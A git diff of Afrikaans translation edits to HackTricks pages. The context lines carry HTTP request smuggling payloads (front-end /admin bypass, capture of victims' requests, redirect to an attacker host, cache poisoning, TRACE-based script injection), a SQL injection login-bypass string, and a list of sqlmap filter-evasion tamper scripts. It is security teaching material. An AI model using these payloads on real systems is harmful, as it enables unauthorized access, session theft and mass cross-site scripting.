Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om voorpuntsekuriteitsbeheer te omseil, spesifiek gerig op die `/admin` pad wat tipies deur die voorpuntproxy beskerm word:
|
||||||
|
|
||||||
**CL.TE Voorbeeld**
|
**CL.TE Voorbeeld**
|
||||||
```
|
```
|
||||||
|
@ -317,7 +317,7 @@ Content-Length: 10
|
||||||
|
|
||||||
x=
|
x=
|
||||||
```
|
```
|
||||||
In die CL.TE-aanval word die `Content-Length` koptekst benut vir die aanvanklike versoek, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked` koptekst gebruik. Die front-end proxy verwerk die aanvanklike `POST` versoek, maar slaag nie daarin om die ingebedde `GET /admin` versoek te inspekteer nie, wat ongeoorloofde toegang tot die `/admin` pad toelaat.
|
In die CL.TE-aanval word die `Content-Length` kop vir die aanvanklike versoek benut, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked` kop gebruik. Die front-end proxy verwerk die aanvanklike `POST` versoek, maar slaag nie daarin om die ingebedde `GET /admin` versoek te inspekteer nie, wat ongeoorloofde toegang tot die `/admin` pad toelaat.
|
||||||
|
|
||||||
**TE.CL Voorbeeld**
|
**TE.CL Voorbeeld**
|
||||||
```
|
```
|
||||||
|
@ -358,9 +358,9 @@ Content-Length: 100
|
||||||
|
|
||||||
search=
|
search=
|
||||||
```
|
```
|
||||||
In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die koptekste van die daaropvolgende versoek blootstel.
|
In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die kopstukke van die daaropvolgende versoek blootstel.
|
||||||
|
|
||||||
Dit is belangrik om die `Content-Length` koptekst van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afsnip, terwyl 'n te hoë waarde die versoek kan laat foutief wees.
|
Dit is belangrik om die `Content-Length` kopstuk van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afsnip, terwyl 'n te hoë waarde die versoek kan laat foutloop.
|
||||||
|
|
||||||
Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
|
Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
|
||||||
|
|
||||||
|
@ -392,7 +392,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
||||||
```
|
```
|
||||||
In hierdie scenario is die **comment parameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
|
In hierdie scenario is die **comment parameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
|
||||||
|
|
||||||
Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameter-afskeid wat in die gesmugde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeid die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die vrae-string kan wees.
|
Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameter-afskeid wat in die gesmugde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeid die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die vrae string kan wees.
|
||||||
|
|
||||||
Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
|
Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
|
||||||
|
|
||||||
|
@ -440,11 +440,11 @@ In die geval dat die gebruikersinhoud in 'n antwoord met 'n **`Content-type`** s
|
||||||
|
|
||||||
Die weergawe HTTP/0.9 was voorheen die 1.0 en gebruik slegs **GET** werkwoorde en **antwoord nie** met **koppe** nie, net die liggaam.
|
Die weergawe HTTP/0.9 was voorheen die 1.0 en gebruik slegs **GET** werkwoorde en **antwoord nie** met **koppe** nie, net die liggaam.
|
||||||
|
|
||||||
In [**hierdie skrywe**](https://mizu.re/post/twisty-python), is dit misbruik met 'n versoek smuggling en 'n **kwesbare eindpunt wat met die invoer van die gebruiker sal antwoordgee** om 'n versoek met HTTP/0.9 te smuggle. Die parameter wat in die antwoord weerspieël sal word, het 'n **valse HTTP/1.1 antwoord (met koppe en liggaam)** bevat sodat die antwoord geldige uitvoerbare JS-kode met 'n `Content-Type` van `text/html` sal bevat.
|
In [**hierdie skrywe**](https://mizu.re/post/twisty-python), is dit misbruik met 'n versoek smuggling en 'n **kwesbare eindpunt wat met die invoer van die gebruiker sal antwoordgee** om 'n versoek met HTTP/0.9 te smuggle. Die parameter wat in die antwoord weerspieël sal word, het 'n **valse HTTP/1.1 antwoord (met koppe en liggaam)** bevat, sodat die antwoord geldige uitvoerbare JS-kode met 'n `Content-Type` van `text/html` sal bevat.
|
||||||
|
|
||||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||||
|
|
||||||
Toepassings lei dikwels van een URL na 'n ander om die hostname van die `Host` kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif aan te vra, lei tot 'n omleiding om die schuif in te sluit:
|
Toepassings lei dikwels van een URL na 'n ander om die hostname van die `Host` kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, om 'n gids sonder 'n agterste schuif te versoek, lei tot 'n omleiding om die schuif in te sluit:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: normal-website.com
|
Host: normal-website.com
|
||||||
|
@ -454,7 +454,7 @@ Resultate in:
|
||||||
HTTP/1.1 301 Moved Permanently
|
HTTP/1.1 301 Moved Permanently
|
||||||
Location: https://normal-website.com/home/
|
Location: https://normal-website.com/home/
|
||||||
```
|
```
|
||||||
Hoewel dit op die oog af onskadelik lyk, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
|
Alhoewel dit skynbaar onskadelik is, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable-website.com
|
Host: vulnerable-website.com
|
||||||
|
@ -468,7 +468,7 @@ GET /home HTTP/1.1
|
||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
Foo: X
|
Foo: X
|
||||||
```
|
```
|
||||||
Hierdie gesmugde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvaller-beheerde webwerf omgelei word:
|
Hierdie gesmugde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvaller-beheerde webwerf omgeleiden word:
|
||||||
```
|
```
|
||||||
GET /home HTTP/1.1
|
GET /home HTTP/1.1
|
||||||
Host: attacker-website.com
|
Host: attacker-website.com
|
||||||
|
@ -484,9 +484,9 @@ In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap.
|
||||||
|
|
||||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastruktuur inhoud kas** om prestasie te verbeter. Deur die bediener se reaksie te manipuleer, is dit moontlik om die **cache te vergiftig**.
|
Web cache poisoning kan uitgevoer word as enige komponent van die **front-end infrastruktuur inhoud kas**. tipies om die prestasie te verbeter. Deur die bediener se reaksie te manipuleer, is dit moontlik om die **cache te vergiftig**.
|
||||||
|
|
||||||
Voorheen het ons gesien hoe bediener reaksies verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](./#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html` inhoud te lewer in reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS).
|
Voorheen het ons gesien hoe bediener reaksies verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](./#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html` inhoud te lewer in reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die `/static/include.js` inhoud in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik kan lei tot 'n Denial of Service (DoS).
|
||||||
|
|
||||||
Hierdie tegniek word veral kragtig as 'n **Open Redirect kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
|
Hierdie tegniek word veral kragtig as 'n **Open Redirect kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
|
||||||
|
|
||||||
|
@ -518,8 +518,8 @@ Daarna sal enige versoek vir `/static/include.js` die gekapte inhoud van die aan
|
||||||
|
|
||||||
> **Wat is die verskil tussen web cache poisoning en web cache misleiding?**
|
> **Wat is die verskil tussen web cache poisoning en web cache misleiding?**
|
||||||
>
|
>
|
||||||
> * In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
|
> * In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
|
||||||
> * In **web cache misleiding** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
|
> * In **web cache misleiding** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
|
||||||
|
|
||||||
Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:
|
Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:
|
||||||
```markdown
|
```markdown
|
||||||
|
@ -536,7 +536,7 @@ As hierdie gesmokkelde versoek 'n kasinskrywing wat bedoel is vir statiese inhou
|
||||||
|
|
||||||
### Misbruik van TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Misbruik van TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
[**In hierdie pos**](https://portswigger.net/research/trace-desync-attack) word voorgestel dat as die bediener die metode TRACE geaktiveer het, dit moontlik is om dit te misbruik met 'n HTTP Request Smuggling. Dit is omdat hierdie metode enige kop wat na die bediener gestuur word, as deel van die liggaam van die antwoord sal reflekteer. Byvoorbeeld:
|
[**In hierdie pos**](https://portswigger.net/research/trace-desync-attack) word voorgestel dat as die bediener die metode TRACE geaktiveer het, dit moontlik kan wees om dit te misbruik met 'n HTTP Request Smuggling. Dit is omdat hierdie metode enige kop wat na die bediener gestuur word, as deel van die liggaam van die antwoord sal reflekteer. Byvoorbeeld:
|
||||||
```
|
```
|
||||||
TRACE / HTTP/1.1
|
TRACE / HTTP/1.1
|
||||||
Host: example.com
|
Host: example.com
|
||||||
|
@ -553,13 +553,13 @@ Host: vulnerable.com
|
||||||
XSS: <script>alert("TRACE")</script>
|
XSS: <script>alert("TRACE")</script>
|
||||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||||
```
|
```
|
||||||
'n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om **eers 'n HEAD-versoek te smuggle**. Hierdie versoek sal geantwoord word met slegs die **koppe** van 'n GET-versoek (**`Content-Type`** onder hulle). En smuggle **dadelik na die HEAD 'n TRACE-versoek**, wat die **gestuurde data** sal **reflekteer**.\
|
'n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om **eers 'n HEAD-versoek te smuggle**. Hierdie versoek sal geantwoord word met slegs die **koppe** van 'n GET-versoek (**`Content-Type`** onder hulle). En smuggle **dadelik na die HEAD 'n TRACE-versoek**, wat die **gestuurde data** sal reflekteer.\
|
||||||
Aangesien die HEAD-antwoord 'n `Content-Length`-kop sal bevat, sal die **antwoord van die TRACE-versoek as die liggaam van die HEAD-antwoord behandel word, wat dus arbitrêre data in die antwoord reflekteer**.\
|
Aangesien die HEAD-antwoord 'n `Content-Length`-kop sal bevat, sal die **antwoord van die TRACE-versoek as die liggaam van die HEAD-antwoord behandel word, wat dus arbitrêre data in die antwoord reflekteer**.\
|
||||||
Hierdie antwoord sal na die volgende versoek oor die verbinding gestuur word, so dit kan **gebruik word in 'n gekapte JS-lêer om byvoorbeeld arbitrêre JS-kode in te voeg**.
|
Hierdie antwoord sal na die volgende versoek oor die verbinding gestuur word, so dit kan **gebruik word in 'n gekapte JS-lêer byvoorbeeld om arbitrêre JS-kode in te voeg**.
|
||||||
|
|
||||||
### Misbruik van TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
### Misbruik van TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
Dit word aanbeveel om [**hierdie pos**](https://portswigger.net/research/trace-desync-attack) te volg, wat 'n ander manier voorstel om die TRACE-metode te misbruik. Soos opgemerk, is dit moontlik om 'n HEAD-versoek en 'n TRACE-versoek te smuggle om **sommige reflekteerde data** in die antwoord op die HEAD-versoek te **beheer**. Die lengte van die liggaam van die HEAD-versoek word basies in die Content-Length-kop aangedui en word gevorm deur die antwoord op die TRACE-versoek.
|
Dit word aanbeveel om [**hierdie pos**](https://portswigger.net/research/trace-desync-attack) te volg, wat 'n ander manier voorstel om die TRACE-metode te misbruik. Soos opgemerk, is dit moontlik om 'n HEAD-versoek en 'n TRACE-versoek te smuggle om **sommige reflekteerde data** in die antwoord op die HEAD-versoek te beheer. Die lengte van die liggaam van die HEAD-versoek word basies in die Content-Length-kop aangedui en word gevorm deur die antwoord op die TRACE-versoek.
|
||||||
|
|
||||||
Daarom sou die nuwe idee wees dat, met kennis van hierdie Content-Length en die data gegee in die TRACE-antwoord, dit moontlik is om die TRACE-antwoord 'n geldige HTTP-antwoord te laat bevat na die laaste byte van die Content-Length, wat 'n aanvaller in staat stel om die versoek na die volgende antwoord heeltemal te beheer (wat gebruik kan word om 'n cache poisoning uit te voer).
|
Daarom sou die nuwe idee wees dat, met kennis van hierdie Content-Length en die data gegee in die TRACE-antwoord, dit moontlik is om die TRACE-antwoord 'n geldige HTTP-antwoord te laat bevat na die laaste byte van die Content-Length, wat 'n aanvaller in staat stel om die versoek na die volgende antwoord heeltemal te beheer (wat gebruik kan word om 'n cache poisoning uit te voer).
|
||||||
|
|
||||||
|
@ -719,7 +719,7 @@ table.add(req)
|
||||||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||||
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie hulpmiddel is 'n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde versoek smuggling verskille te vind.
|
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie hulpmiddel is 'n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde versoek-smuggling verskille te vind.
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
@ -735,9 +735,9 @@ table.add(req)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte hulpmiddels om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte hulpmiddels om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -747,7 +747,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -833,9 +833,9 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -160,56 +160,56 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
|
||||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
|
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
|
||||||
| apostrophenullencode.py | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger |
|
| apostrophenullencode.py | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger |
|
||||||
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by aan die einde van die payload |
|
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by die einde van die payload aan |
|
||||||
| base64encode.py | Base64 al karakters in 'n gegewe payload |
|
| base64encode.py | Base64 al karakters in 'n gegewe payload |
|
||||||
| between.py | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #' |
|
| between.py | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #' |
|
||||||
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige random leë karakter. Vervang daarna karakter = met LIKE operator |
|
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige random leë karakter. Vervang daarna karakter = met LIKE operator |
|
||||||
| chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
|
| chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie) |
|
||||||
| commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
|
| commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
|
||||||
| commalessmid.py | Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)' |
|
| commalessmid.py | Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)' |
|
||||||
| concat2concatws.py | Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
| concat2concatws.py | Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||||
| charencode.py | Url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
|
| charencode.py | Url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie) |
|
||||||
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "%u0022" |
|
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie). "%u0022" |
|
||||||
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "\u0022" |
|
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie). "\u0022" |
|
||||||
